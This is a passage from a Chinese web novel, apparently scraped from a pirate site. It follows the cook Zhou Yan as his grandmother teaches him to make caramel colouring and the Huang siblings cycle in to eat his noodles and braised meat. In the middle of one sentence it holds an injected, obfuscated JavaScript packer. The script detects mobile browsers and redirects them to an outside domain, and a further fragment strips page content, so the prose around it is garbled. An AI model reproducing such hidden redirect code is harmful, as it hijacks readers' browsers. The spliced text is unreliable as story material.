“吃碗面特意跑一趟镇上才费力，我在家弄两个人吃的面还拉不开吗，我年轻的时候，一肩能挑一百五斤的卤肉呢。”老太太给他翻了个白眼，“你再演示一遍，这个面是怎么拉出来再对折的……” 老太太卤菜的天赋绝对是拉满了的，家常菜也是手拿把掐。 她还会做包子和馒头，看周砚拉面半小时，自己掐了一小团面就到旁边练了起来，倒是没几次就成功拉出面条来了。 “呐，你等会就把这碗面给我下了，我自己吃。”老太太抓着一把拉面过来，笑着跟周砚说道。 “奶奶，你可真是天才！”周砚都忍不住惊叹。 除了粗细不太均匀，有扁有圆之外，老太太第一次做的拉面，看起来有模有样的。 老辈子，确实有点东西。 “啥子天才，这样乱扯两下不是洒洒水。”老太太笑着摆摆手，“能吃就行，我又不用做来卖给客人，做成这种程度就行了。” 周砚笑着点点头，拿个竹漏把这一把面条给老太太单独下了锅。 今天酒席要用的卤牛肉和卤猪头已经在锅里卤着了，这第一锅要卤的早一点，泡足了时间，要提前送货，师父他们才好安排切分。 店里吃面的客人渐渐都走了，周砚扫了一眼，没看到黄家兄妹俩，不禁笑着摇头。 看来让他们骑车半小时从嘉州来吃早餐还是太为难他们了，这俩看着都不太像是能坚持下来的。 亏他还给他们单独留了两份面，免得他们大老远跑一趟又没吃上。 门外，两辆自行车缓缓停下。 **扶着车把手，大汗淋漓，圆圆的脸蛋红扑扑的，刘海全被汗水贴在了额头上，汗水顺着脸汇聚到下巴，大滴的往下掉，汗湿的衣服贴在身上，腰上显出三道游泳圈，大口喘着气，已经完全不在意形象问题了。 一旁的黄兵趴在车把手上，也是一脸生无可恋，脸色苍白，一点血色都没有，感觉身体被掏空。 昨天跟狐朋**们熬夜喝酒，今天一早被**从床上拎起来，骑着车出门的时候，人都是懵的。 没办法，他妈下了死命令，他今天要想拿到三张大团结，就必须要陪**来回三趟苏稽吃饭。 钱还没到手，他已经想好怎么花了。 一张给摩托车加油。 一张给昨天刚交的女朋友买盒雪花膏。 还有一张晚上请小弟们喝酒。 安排的明明白白的。 黄少在外面备受尊敬，但在家里要点零花钱可要老命了。 要想人前显贵，必先人后受罪。 黄少也不容易啊。 “妹妹，你们来吃面啊？”赵铁英正在收桌，看到两人，笑着问道。 “**姐姐！你来了！”周沫沫刚吃了早饭，闻声也跑了出来，热情地冲着**喊道。 “对，嬢嬢，我们来吃面。”缓了一会，已经把气喘匀了的**扯了一把衣服，把肚子上的褶皱暂时熨平，堆起笑脸，看着周沫沫道：“沫沫，我来了！” “也喊我撒。”黄兵看着周沫沫，一脸期待。 周沫沫往赵铁英身边躲，摇头：“锅锅说，要离看起来凶的人远一点。” “我凶吗？我明明很温柔的……”黄兵一脸受伤。 “对，离这种人远一点，不是什么好人。”**笑得可灿烂了，把车停下，从小包里摸了一个棒棒糖递给周沫沫：“呐，给你带的糖糖。” “谢谢姐姐。”周沫沫伸手接过，“我太喜欢你了！” “不谢！”**牵起她的小手往店里走来。 “一颗糖就可以让她那么高兴吗？”黄兵停车，面露思索之色，决定把晚上请小弟喝酒的预算扣一点，买十颗糖！ 小弟叫十声“黄哥”，也不如这可爱的小家伙喊一声“锅锅”啊！ 周砚刚好从厨房出来，看着满头大汗的两人也是有些惊讶。 这兄妹俩，简直是两种极端。 一个胖的走两步都喘，一个虚的走两步就得扶腰。 让他们一大早骑车从嘉州来苏稽吃早饭，还真是为难他们了。 “周老板。”**把贴着额头的刘海往两边撩了撩，又默默把衣服往下扯了扯，笑着跟周砚打招呼。 黄兵也是挺直了腰杆，故作深沉的说道：“周哥。” 欸？ 怎么自动就喊哥了？ “早上营业都快结束了，我以为你们不来了呢。”周砚笑着说道。 “说了要来，我肯定来！”**笑着说道，目光转到了一旁的菜单上认真瞧了起来。 “我妈下了命令，只要天上不下刀子，一天三顿，一顿不能落。”黄兵从口袋里掏出烟，叼了一根到嘴里正准备点上，看到周沫沫捂着嘴退到周砚身边愣了一下，又默默把烟折了揣回了兜里。 算了算了，不抽也不是不行。 “我要一份红烧牛肉面，再要一份双椒碎花拌面。”**回头看着周砚说道。 “你们来得晚，只给你们留了两份面，一人一份。”周砚笑着说道。 “只能吃一碗啊？”**感觉天都塌了。 一大早空着肚子骑了大半个小时的车，她现在饿的心发慌，感觉一头牛都能吃得下去。 纠结了一会，握着拳头道：“那……我要红烧牛肉面！” “我要一份碎花牛肉干拌面。”黄兵倒是立马做了决定。 “要得。”周砚应了一声，转身往后厨走。 赵铁英拿了两个海碗，热水冲凉茶，给他们一人端了一碗：“喝点温水嘛。” “谢谢嬢嬢。”**甜甜道。 “谢了哈嬢嬢。”黄兵跟着说道。 两人端起海碗，吨吨吨喝了起来。 水温刚好合适，凉茶里放的薄荷叶，喝起来太解渴了。 一碗水下肚，身体立马感觉舒服了许多。 不过吧…… 感觉喝水好像就喝了个半饱。 倒是没那么饿了。 周沫沫凑过来跟**聊天，小家伙是话痨，话题一个接一个往外蹦，特别是昨天进了城，涨了见识，聊的话题更广了。 **性格软，耐心也好，主打一个句句有回应，就是不包对。 黄兵坐在旁边听得直乐。 “黄兵，你笑什么？”**瞪了他一眼。 “幼稚鬼，乱说骗小孩。”黄兵撇撇嘴。 “要你管！”**哼了一声，不理他继续和周沫沫聊。 黄兵转过头去，却支起耳朵继续听，继续笑个不停。 他之前倒是没注意，**还是和小时候那么好笑，蠢蠢的，记忆中那个妹妹好像一点没变。 “来了。”周砚端着两碗面出来，还配了一碟酸萝卜。 饥肠辘辘的两人，立马被吸引了目光。 红烧牛肉面上盖了一层牛肉烧笋干，浮着一层红油的面汤，看着太有食欲了，牛肉的香气随着热气扑面而来，**忍不住咽了咽口水。 好香啊！ 她又看了眼黄兵那碗双椒牛肉干拌面，他正拿着筷子搅拌呢，双椒牛肉碎花随着搅拌均匀的裹在面上，青红椒点缀其上，看着也是相当诱人。 “三块，我买你这碗面。”**开口。 夹起一筷子面正准备往嘴里送的黄兵顿住，斜了她一眼：“多少？” “三块！原价的五倍。”**伸出五个手指。 “看不起谁呢？跑这一趟就为了吃这碗面，你三块就想买走！”黄兵直接把面喂到嘴里，眼里顿时亮起了光。 好吃啊！ 昨天的双椒碎花牛肉拌饭就让他念念不忘，今天这拌面更是绝了。 筋道的面条挂满了外酥里嫩的牛肉粒，裹着青红椒的鲜辣与酸菜的酸香，这一口下去，油润爽口，麻辣鲜香在舌尖上交锋。 一口接一口，根本停不下来。 一大碗拌面转眼就下去了小半。 一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200245|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字：绝！ 黄兵平时不爱吃面，更偏爱包子和油条。 但今天双椒碎花牛肉拌面，有点颠覆了他的对于面条的认知。 原来，面可以好吃到这种程度！ **也忍不住了，拿起筷子吸溜吸溜吃了起来。 这面好香！ 浸透了高汤，特别鲜，爽滑又筋道。 面上的红油看着红彤彤的，但辣味其实并不突出，反倒是香味更为浓郁，而且一点都不油腻。 再吃一块切成大块的软烂牛腩，一口下去，可太满足了！ 吸溜吸溜！ 也是吃的停不下来。 不时喝一口汤，汤鲜味美，简直好吃到**！ 一大早起床骑大半个小时的自行车来苏稽的疲惫和怨念，在这一口面条下肚之后，立马消散无踪。 值不值？ 那可太值了！ 周沫沫不打扰**吃饭，见周砚坐着歇息，便立马跑过来往他腿上爬，开始：“锅锅……锅锅……” 周砚被她问的头晕眼花，只好跟她玩了一会举高高，逗得她咯咯笑。 一碗面下肚，黄兵苍白的脸色红润了几分，额头上又冒出了一层薄汗，意犹未尽，感觉还能再吃一碗。 **端着碗，把汤都给喝了个精光. 她放下碗，看了眼黄兵：“黄兵，你还饿不饿？” 黄兵翻了个白眼：“你看看别人的妹妹，那么可爱，还会叫锅锅，不像你，天天扯起嗓子就是黄兵！黄兵！一张嘴就喊：饿了！” “那你怎么不看看别人的哥哥，长得帅，身材又好，还能把妹妹举高高呢。”**抱胸，看着黄兵：“那我喊你锅锅，你把我举高高。” 黄兵看着她沉默了一会，叹口气道：“没事，我觉得你喊黄兵也挺好的……” “哼，瘦狗！”**撇嘴。 “胖妹儿！”黄兵龇牙。 **不理会他，转而看着周砚一脸恳切道：“周老板，真的没有面了吗？半碗也可以……” “确实一两都没了。”周砚面带微笑道：“而且，其实那一碗面你们就已经吃饱了，只是你们吃的太快了，脑子还没有反应过来，缓一会就会感觉饱了。吃得太多，对身体是一种负担，不利于健康。” “好吧，那我们下回早点来。”**点头，又问道：“那你们中午几点开始营业？” “中午工厂十一点半下班，我们的营业时间也是十一点半。”周砚说道。 “好。”**点头，从粉色小包里掏出一个钱夹，数了六毛钱递给周砚，微笑道：“他的自己给。” “唉？”黄兵瞪眼，有点慌了，手往兜里一摸，两手空空，心也空空。 “姑奶奶，你帮我的也付了吧。”黄兵凑到**身边，小声道。 “妈昨天才给了你十块，我看到了的。”**盯着他，“你肯定又和那群黄毛喝酒去了，有钱喝酒没钱吃饭啊？那你留下来给老板洗盘子吧。” 黄兵咬牙道：“回去我还你双倍。” “你说的啊！你要不还，我就跟妈说你又换女朋友了。”**掏钱夹。 “不是，你怎么知道的？”黄兵瞪眼，一脸震惊的看着她。 他昨天刚换的，是谁走漏了风声？ “你不管，反正回去之后你乖乖给钱就行。”**把钱给了，一脸得意的出门去了。 “走了。”黄兵跟周砚打了声招呼，快步跟上。 兄妹俩骑上车离开了纺织厂，然后默契地在苏稽镇上的面馆前停了下来。 两人对了一下眼神。 “再来一碗？” “你请客？” “走嘛！” 两人坐下，又一人点了一碗面。 不一会面条上来了。 两人拿起筷子尝了一口，都沉默了。 “怎么感觉突然不饿了呢？”**一脸惊讶，不应该啊，平时这样的面她至少能吃两碗。 “**啊**！你不对劲啊！刚刚还饿着呢，怎么现在就吃不下了！难道被下蛊了吗？”**试图寻找原因。 “我也不饿了……”黄兵扒拉着碗里的拌面，他尝了一口，味道差距属实有点大。 这猪肉臊子炒的太水了，不香，还带点膻味，而且面条煮过了，有点软，又不挂汤。 虽然一碗面便宜了两毛钱，但确实差远了。 两人对了一下眼神，付钱走人。 老板来收碗，看着碗里几乎没动过的面条一脸疑惑：“奇怪了？怎么尝一口就走了呢？难道是今天这面不对？” 他还另外拿了一双筷子尝了一口，更奇怪了：“没毛病啊？” “周砚好厉害！他说我们饱了，我们就真吃不下了，浪费一碗面这种事情，上一次发生还是在三年前！”慢悠悠骑着车，**一脸钦佩。 “那会你才一百二十斤，一顿吃一碗面就够了。”黄兵和她并排而行，笑着说道，“不过周砚做的面确实好吃，要是在嘉州就好了，吃顿饭来回跑好麻烦！” **一捏刹车，点头道：“你说得对！跑一趟太麻烦了，我要去河边找个喝坝坝茶的，靠躺椅上睡个回笼觉，午饭时间到了直接去饭店吃饭，太舒服了！” “别啊！妈说咱俩吃了三顿都得回家跟她报道，才会把零花钱给我，你得跟我回去才行。”黄兵急了。 “那是你，跟我有什么关系，我零花钱可多着呢。”**得意道。 “你不回是吧？”黄兵冷笑：“好，那我回去把你的巧克力全拆了，加热后全部倒进厕所！” 说完，蹬起车就跑。 “黄兵，你敢！劳资杀了你！”**蹬起车猛追。 …… “奶奶，这一锅卤水再一分为二，味道会不会太淡了啊？”周砚拿出第二口铝锅，看着老太太问道。 “问题不大，你现在一天要卤七八个猪头，还有十几个猪蹄，量足够大，这锅卤汁的浓度也够得很，分成两锅，只要把香料和糖色、盐味补足就行。”老太太把早上带来的坛子抱过来：“来嘛，今天我教你怎么炒糖色。” 第一锅已经卤好了，牛肉、猪头肉、猪耳朵泡足时间捞出，装进垫着干净纱布的篮子，让老周同志负责给送货上门。 周砚把铁锅洗好，凑过去瞧了眼，坛子里边装着的是冰糖，足有四五斤。 “刚刚两个娃儿，怎么一个个胖嘟嘟，一个干巴瘦，家里难道重女轻男吗？”老太太随口问道。 周砚笑着道：“那倒不应该，他们家里开酒楼的嘛，嘉州城头的飞燕酒楼，据说是嘉州四大餐厅之一。” “飞燕酒楼？”老太太看着他，“莫非是黄四郎的那个飞燕酒楼？” 周砚：啊？ 求月票！晚上还会有一更加更~ (本章完) 第128章 我也不是好色，只是花开的正艳（35 第128章我也不是好色，只是花开的正艳…（3500月票加更） “黄四郎？”周砚摇头道：“这飞燕酒楼的现在的老板叫黄鹤。” “黄鹤？”老太太皱眉思索了一会，眼睛一亮：“就是黄小鸡嘛！” “啊？”周砚瞪眼，“啥子黄小鸡？” 老太太笑着道：“黄四郎第三个儿子，名字里带个鸟，所以小名喊作小鸡，他们家四兄弟，就他对开饭店感兴趣，其他三个要么当教书先生，要么当官去了，最不成器的，留下来继承了酒楼。 这话是他老汉自己说的，之前经常来苏稽拿卤肉，前两年还来找过我一回，想要找我买卤肉配方，我没点头。” “那**不离十了。”周砚闻言也笑了，“奶奶明智啊！还好没把配方卖给他，不然我现在怎么把卤肉卖给他呢。” 他也没想到，歪打正着，竟然给他找到了一位老太太当年的老客户。 飞燕酒楼好啊，大酒楼，又有当年的合作基础。 就是不知道两年过去，飞燕酒楼有没有招募到新的卤菜师父。 “你打算跟嘉州的饭店合作？”老太太看着他问道。 “有这个想法。”周砚诚实点头，“现在我每天在工厂门口能卖五十多斤卤肉，短时间内应该很难再有明显提升，所以我想试试能不能把卤肉卖到嘉州那些饭店去，多挣一笔钱。” “想法倒是不错的，当年我卖卤肉也是这样做的。”老太太笑盈盈道：“当初我一年时间就在苏稽卖出名头了，苏稽那会就是丝绸重镇，有不少丝绸庄、匹头铺、染坊，有钱人还不少。 杨码头那边的四合院，就是那些商贾大户的宅子，最有名的，当属汪家大院，丝绸买卖做的极大，可惜啊，后来家破人亡。 苏稽这边的大户基本都买我做的卤肉，也是很快就摸到顶了，我就琢磨着能不能把卤肉往嘉州城卖。嘉州毕竟是大城，有钱人肯定更多，大小饭店更是数不胜数。 那会用最笨的办法，中午收了摊，跟你爷爷提一盒切好卤猪耳朵、卤猪头肉和卤牛肉，到嘉州城里一家一家饭店问过去，受了不少白眼，但也确实拿下了几家饭馆的订单。 后来名气越做越大，越来越多的饭店自个找上门来要买卤肉的，生意最好那两年，光是那些饭店一天要的卤肉就超过两百斤。苏稽哪有那么多猪头，都是每天一早就上嘉州城拖回来的……” 说起往事，老太太侃侃而谈，颇有忆往昔峥嵘岁月稠的感觉。 周砚听得津津有味，虽然有些细节已经模糊，但依稀能从老太太的口中看到当年繁荣的苏稽镇，和她年轻时候敢闯敢拼的女强人风采。 后世苏稽商业化，做了不少仿古建筑，但终究失了几分古韵。 “大小酒楼饭店十多个，我等会给你写个名单，你自己照着去找，不过这二十多年过去，当年的老伙计们不晓得还有几个在开饭店，后代也不一定能传承下来。”老太太说道。 周砚点头：“要得，回头我提着卤肉去嘉州转一趟，不管有没有都试试看。” 还得是亲奶奶啊！ 人脉承接时刻！ “来，炒糖色，四斤白糖，我先炒两斤示范，你再炒两斤我给你指点，下回就你自己炒了。”老太太说道。 周砚乖巧点头，站一旁认真瞧着。 “糖色用猪油炒，因为卤水里面本身就有很多油脂，所以不用担心糖色里面有油的问题，炒的过程中火一定要小，而且要保证火力集中在锅中间，不然容易炒糊……” 老太太一边解说，一边操作。 舀一勺猪油下锅，不用等猪油完全化开，直接把两斤提前敲碎的冰糖下入锅中，开始不断翻炒。 颗粒状的冰糖在油脂中缓慢融化，并在翻炒中渐渐变成了焦糖色状态的浓稠糖汁。 “炒成这个颜色，那就差不多了，直接撤火出锅，别炒糊了。”老太太舀起一勺糖浆，缓缓倾倒，糖汁落下拉出红亮的色泽。 两斤冰糖，炒出小半搪瓷盆的糖色。 “你来，我帮你盯着。”老太太说道。 周砚把锅洗干净，再把火烧上，也开始第一次炒糖色。 这活可不简单，稍不注意糊了，两斤冰糖就废了，损失不小。 要是火候不足，糖色颜色不够，那也是废品。 一锅卤肉，全靠糖色上色，差一点都不行。 好在如今周砚对火候的掌控已经越发纯熟，学着老太太的模样，用勺子不停翻转搅拌冰糖，确保受热均匀，没有焦糊。 白色的冰糖渐渐变成了红棕色，锅里冒起了泡，咕嘟咕嘟的。 周砚用勺舀起糖浆淋下，确认颜色到位，当即撤掉灶下的火，盛出锅前，看了眼老太太。 “差不多，颜色很正。”老太太笑着点头。 周砚这才放心把锅里的糖色全部盛出，和先前那小半盆装在一起。 颜色几乎没有差别，融在一起，不分彼此。 【一份极其不错的糖色】 鉴定结果秒出。 周砚颇受鼓舞。 糖色可不止能用来煮卤水，做红烧肉也是用得着的。 可惜周砚不会，不然这糖色用来做红烧肉，定然是极好的。 哪天找师父请教一二。 哪怕做出来的上不了菜单，家常能吃也不错。 周沫沫肯定会喜欢。 糖色炒好，可以开始分锅煮新卤水了。 老太太全部交给周砚来操作，她只负责在旁边指点几句，整个过程说的话甚至没超过十句。 周砚一开始还有点胆颤心惊，后来见老太太啥也没说，倒是越来越有信心。 一个小时后，两锅色泽红亮的卤水制成了。 看着跟原先那锅几乎没有区别。 周砚拿勺子舀起卤水慢慢倒回锅中，色泽红亮，卤香浓郁。 “你还是养护的很小心，这锅老卤水一点都没变质，卤的多，风味越好，分一锅也不得影响。”老太太笑着说道：“今天第二锅卤肉，你就两锅各卤一半，卤得两次，风味还要更好一些。” “要得！”周砚笑着应道。 有这两锅卤水，足以应对坝坝宴时不时暴涨的卤肉需求，也为接下来扩产提前做好准备。 手里有粮，心头不慌。 周砚开始卤肉，老太太出了厨房，带着她的幺孙女逛街去了。 难得来一趟镇上，她也不急着回去，等中午忙完再让老周同志送。 …… **和黄兵回到家门口，黄鹤和赵淑兰正出门来准备去酒楼，瞧见满头大汗的两人，都面露讶色。 黄兵还没来得及开口，就被撵上来的**按在墙上哐哐揍了两拳。 黄兵疼的龇牙咧嘴，还不忘冲着赵淑兰说道：“妈！你看我把**给带回来了！” “**，松开。”赵淑兰上前把两人分开，笑着问道：“周二娃饭店的面条吃到了？” “嗯，吃了！”**点头。 “好吃不？”黄鹤忍不住问了一嘴，他喜欢吃面，昨晚打麻将睡得晚，今天起的也晚，准备路上找家面馆吃早饭呢。 “好吃！巨好吃！”**点着头：“他们家的面跟别家不一样，应该是手工拉面，和年初咱们去山西找二叔玩吃过的那个面是一样的口感，面汤很鲜，猪骨熬的高汤，调味咸淡适中，香辣爽口，绝！” 黄鹤听完忍不住吞了吞口水，就说**像他吧，可不只是体型，一样好吃、会吃、懂吃！ 周砚昨天给他的惊喜后劲太大了，回来一晚上都没睡踏实，感觉自己错过了一个大厨，却又无能为力的感觉。 当年他爹三请孔怀风而不得，成了他一辈子的遗憾。 周砚不一样，这年轻人可不只是厨师，还是个有野心的年轻老板。 在小小苏稽就能把生意做的红红火火，将来定然不满足于纺织厂那三千工人，还是要到嘉州来的。 黄鹤倒不忌惮周砚，相反，他很看好这年轻人，如果有机会的话，甚至想要投资他。 飞燕酒楼百年传承，定位是中高端宴请，以及酒席包席，酒楼的名声，环境，是一代代累积下来的，不是随便就会被取代的。 周砚饭店的那些菜，走的是平价川菜馆的路子，二者定位不同。 不过以周砚的实力，很快就能积累起口碑，做成生意火爆的川菜馆。 很多厨子会做菜，但不善交际和管理，开不了饭店。 周砚不同，短暂接触后，他就认定周砚这人有经商的才能，未来不可限量。 以后有机会的话，他还是打算跟周砚多接触接触。 他看了眼黄兵，眉头微皱，他要有周砚一半本事，他现在都可以考虑退休的事情了。 黄兵没心没肺的咧嘴笑：“硬是好吃，我一个不喜欢吃面的人，今天吃了他的双椒碎花牛肉拌面，都觉得巴适得板。面很挂汤，随便拌两下，牛肉碎花就挂满了面条，红油香的批爆，吃起来根本停不下来。他要是把店开到嘉州来，嘉州的面馆老板都要哭！” “碎花牛肉拌面？那肯定巴适得板哦！”黄鹤闻言眼睛都亮了。 他们昨天吃过碎花牛肉，拌饭都是一绝，拿来拌面，听黄兵这么一说，他可真是馋了，试探着跟赵淑兰道：“老婆，要不我们去苏稽吃碗面再回来？” “是你有毛病还是我有毛病？”赵淑兰白了他一眼，“今天酒楼要盘货，又要清账，哪来的时间跑苏稽吃碗面！”< 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黄兵心虚地往他妈那边挪了挪，小声道：“我说掉了，你信不？” “老子的皮带怕是不信这种鬼话！”黄鹤伸手去解皮带。 “妈妈妈！救命！”黄兵连忙闪身到赵淑兰身后。 “魔法披风。”赵淑兰抬手按住黄鹤，看着黄兵说道：“从今天开始，你三餐都跟你妹去苏稽吃饭，饭钱我包，但这个钱我会交给**拿着。只要你三餐都能来打卡，我每天给你十块钱零花钱。” “妈，不是说好三十吗？”黄兵有点急了。 “李老三一级厨师，在酒楼当厨师长，一个月工资都才三百六！你个逛子娃，一个月拿三百块钱零花钱你还嫌少？”黄鹤刷的就抽出了皮带。 “十块就十块！够了够了！”黄兵慌了神，连忙喊道。 赵淑兰又把黄鹤按住，开口道：“那就这么说定了，今天多给你十块给摩托车加油。” “感谢我亲爱的妈妈！我先去洗澡了！”黄兵咧嘴笑，绕着柱子避开黄鹤，快步冲进家门。 赵淑兰掏了五张大团结递给**，“**，这是你们三天的伙食费，还有你三天的零花钱。你的零花钱我就直接一次性给你，你自己看着安排，但你也必须要每天跟我来打一次卡，要的不？” **随手就把钱揣进了小包，笑着点头：“要得，妈妈，我觉得每天去苏稽吃饭也是一件幸福的事情。” 赵淑兰笑着点头：“好，你也去换身衣裳，免得感冒了。” **点头，把车停在院子里，也跟着进门去了。 “**的零花钱是应该给，但黄兵你就不该给他那么多，一天到晚见不到人影，不晓得在哪里鬼混。”黄鹤推着车和赵淑兰出门，小声埋怨道。 “你懂个锤子！你看他们吃个早饭来回骑车二十多公里，一天要跑三回才能把这十块钱挣到手，比以前难多了吧？”赵淑兰笑着道：“你看嘛，今天晚上等他回来，拿了钱他也没得力气出门耍了。” 黄鹤脚步一顿，眼睛顿时亮了起来：“老婆！不愧是你啊！这种诡计都想得出来！” “这叫阳谋。”赵淑兰在他腰上的软肉拧了一把，“不叫诡计！” “对对对！你就是诸葛淑兰！” …… 客厅沙发上。 换了衣服的**和黄兵各瘫一头，目光无神的看着彩色电视播放的《大侠霍元甲》，都有一种被掏空的感觉。 **剥了一颗金币巧克力，在手里拿了三分钟，最后起身塞到了黄兵的嘴里。 黄兵嘴里含着巧克力，瞪眼看着**，没有欣喜，只有恐惧和质疑：“欸？你是不是落地上去了？还是过期了？最喜欢的巧克力，怎么舍得给我吃？你是不是下毒了？” 平日势同水火，最怕妹妹突然的关心。 **翻了个白眼：“你爱吃不吃，我就是觉得自己好像瘦了点，这巧克力吃下去有点对不起辛苦蹬自行车的自己。” 黄兵闻言这才放心的嚼了起来，盯着**看了一会，不太确定道：“你该不会真喜欢上周砚了吧？三年了，头一回见你说要减肥！太稀奇了。” **一脸坦荡：“爱美之心人皆有之，我也不是好色，只是花开的正艳，我不去欣赏，倒显得我不解风情了。我天天去光顾他的生意，看他两眼，聊两句不过分吧？” “这么说，好像是不过分。”黄兵点头，一琢磨又觉得不太对劲：“欸？不过你个黄毛丫头，怎么感觉比我还懂呢？” —— PS：4.6k大章加更！求月票~~ 月底了，这个月投票有抽奖哈~不要忘了！ 求月票！ (本章完) 第129章 厨师界万中无一的天才！（62k二合一 第129章厨师界万中无一的天才！（6.2k二合一） 刚从卤锅里捞出的猪头肉还冒着微微热气，面上泛着红亮的油光，在漏勺里颤颤巍巍，看起来诱人极了。 竹编簸箕换了一个深一点的，边沿能有十公分高，底下先铺了一层双折叠的纱布，避免卤肉被竹片边缘刮破，坏了卖相。 卤肉出锅就开始堆积木，数量最多的卤猪头肉往边上放，猪耳朵和猪拱嘴一只只立着，中间再摆两个猪蹄，这一个小簸箕塞的满满当当，看起来相当诱人。 卤肉其实只拿了一部分出来，中午卖的少，摆在外边风一吹，容易变色，高峰期还得是晚上。 “肖师傅和郑师傅装备整的齐全，还请了一个帮工，看起来相当专业。”周淼刚回来，一边帮着捞卤肉，一边跟周砚说道。 “我师父他们光是这个月就有四场酒席要办，规模大的上三十桌，不请人肯定不得行。”周砚笑着说道，上回周浩结婚，他也算是一个临时帮工。 多少人能办多大事，他师父心里可太有数了。 在苏稽当了半辈子大厨，找个干活麻利的帮工肯定不难。 周砚抬起簸箕出门，小心放在门口的小方桌上，便瞧见黄家兄妹俩骑着自行车慢悠悠来了。 “周老板！”**笑着和他打招呼。 黄兵则是跟他点了点头，他觉得喊周哥不太符合他的气质，出门在外，别人都是喊他黄哥的。 “中午倒是来得早啊。”周砚看着俩人笑道。 看得出来，今天中午来的没那么匆忙，脸上虽然还是有汗，但不像早上那样如同从水里捞出来那般夸张。 **的目光已经被那一簸箕的卤肉吸引，把车一停，立马凑了过来，嘴巴微微张着：“这卤猪蹄看着好好吃啊！还有着卤猪头肉，看着就香！” 她爱吃卤肉，但他们自家酒楼不做卤肉！ 平时都是在外边买着吃，一个月得吃好几回城南赵记卤味。 她老汉也爱吃卤肉，但每次吃赵记都是一边吃一边嫌弃，说不如苏稽张嬢嬢做的卤肉好吃。 **从出生开始就没尝过张记卤味，所以不信，反正她就爱吃赵记。 但是，周砚做的这个卤肉，看着可真不错啊。 颜色红亮，卤香浓郁。 特别是那摆在中间的卤猪蹄，肉嘟嘟的，看着可太诱人了！ “猪蹄有什么好吃的，切一盘猪拱嘴和猪耳朵呗。”黄兵也过来了，看着这一簸箕卤肉也忍不住吞了吞口水，提议道。 **点头，看着周砚道：“那我要一个卤猪蹄，再切一盘猪拱嘴和猪耳朵。” “好，给你们各切二两混一盘。”周砚点头，嘴角微微上扬，点了就对了，要是能给他们老汉打包一份回去就更好了。 合作这种事情，谁先主动谁在谈判中占下风。 纺织厂还差几分钟下班，这会店里没客人。 两人进店，黄兵的脚步在门口顿了一下，看着赵铁英守着的那口大锅，好奇问道：“赵嬢嬢，这是啥汤？闻着好香啊。” “这是我们店的招牌，跷脚牛肉汤，里面有牛肠、牛蹄筋、毛肚、牛肉，汤鲜味美，滋补祛湿。”赵铁英看着他笑道：“你这小身板，就应该每天喝一碗补一补。” 赵嬢嬢笑着说话的时候，亲和力十足，让人没法拒绝，黄兵说道：“那给我来一碗尝尝。” 倒也不是想补，就是这骑了一路车，有点渴了。 而且，这是昨天没吃到的隐藏菜单，今天肯定要试一试嘛。 “要得，你们找个位置坐嘛。”赵铁英笑着应道。 两人找了张靠近菜单的桌子坐下，一落座，黄兵就盯着墙上的菜单看，“再点两个什么菜？” **看着他开始算账：“妈给了我二十块钱作为我们三天的伙食费，平均下来一天是六块六，早上我们吃了一块八了，现在还剩下四块八。 猪蹄一块二，卤猪耳朵、猪拱嘴一块二，一碗跷脚牛肉六**，还剩一块八。你要再点两个菜，晚上还吃不吃饭？” “老妈也太抠门了吧？吃饭钱都不给够啊。”黄兵把目光从菜单挪到她脸上，想了想：“猪蹄是你单独点的，一会也是你单独吃的，这不能算在伙食费里吧？这样多出来的一块二挪到晚上吃，咱们点一个……四毛钱的油渣炒莲白！” “卤猪蹄你说你不吃的哈。”**欣然点头：“行，那卤猪蹄算我的，再加一份油渣炒莲白。” “不过，这算是新菜吗？昨天在菜单上没看见有这道菜呢。”**盯着排在末尾的油渣莲白，0.4元一份的价格，是菜单上最便宜的，比面条还便宜。 没办法，预算不足，不能点肉了。 可光吃卤肉好像又不够下饭，点一份价格便宜的半荤半素，刚好合适。 “对，就是今天刚上的新菜。”赵铁英端着跷脚牛肉过来，给他们拿了两个小碗，两个蘸碟。 周砚把猪蹄和切好的卤猪耳朵和卤猪拱嘴也给端了出来。 他们兄妹俩的对话他都听见了，所以卤猪蹄没切，只给加热了一下，一整只摆在了**的面前。 热气腾腾的卤猪蹄，盘子放在桌上的时候，肉也跟着颤颤巍巍的晃了晃，香气扑鼻而来，可比刚刚摆在门口的还要更诱人。 黄兵的目光都忍不住跟随，喉咙滚动了一下，理智让他收回目光。 一块二一个，还得自己出钱。 不行不行！ 他现在一天的生活费只有十块，又要给摩托车加油，又得给女朋友买小礼物，还要请兄弟们喝酒…… 哪有预算啃这大猪蹄子啊。 “这卤猪蹄太棒了！洗个手，抱着啃！”**喜滋滋的起身去洗手。 黄兵则是把目光转到了跷脚牛肉上。 土碗里满满当当的全是肉，面上飘着六片粉嫩的牛肉，旁边还有毛肚支起的一角，半透明的蹄筋看着软乎乎的，还有牛肠，香气扑鼻，闻着就鲜。 他拿起勺子，先给自己舀了半碗汤。 端起碗吹了吹，喝了一口。 嘶！ 烫！ 刚从滚烫的汤锅里舀出来的汤，实在烫嘴。 不过……好鲜！ 舌尖上的味蕾被烫的微麻后，很快便被鲜味所吸引。 牛骨汤的鲜美滋味，竟是如此的突出。 这一锅里有牛杂、牛筋、牛肉，相当杂乱的一锅汤，却尝不到一丝膻味，只有馥郁的鲜香！ 黄兵吹着热气，一口接着一口的喝着。 好喝！ 半碗汤下肚，浑身暖洋洋的，额头上都冒起了一层薄汗。 呼—— 黄兵呼了一口气，舒坦！ 这可比他们家酒楼传承百年的壮骨汤好喝多了。 他现在深刻怀疑，要么就是他爹没学到爷爷的真本事，要么就是他们家那壮骨汤还得练。 “有这么好喝吗？这么烫都能一口干？”**坐回位置，一边卷袖子，一边看着黄兵疑惑道。 她刚刚可是瞧见黄兵被烫的龇牙咧嘴，可还是舍不得放下手里的碗。 黄兵点头：“不开玩笑的说，鲜的不得了，比咱们酒楼的壮骨汤好喝多了。” 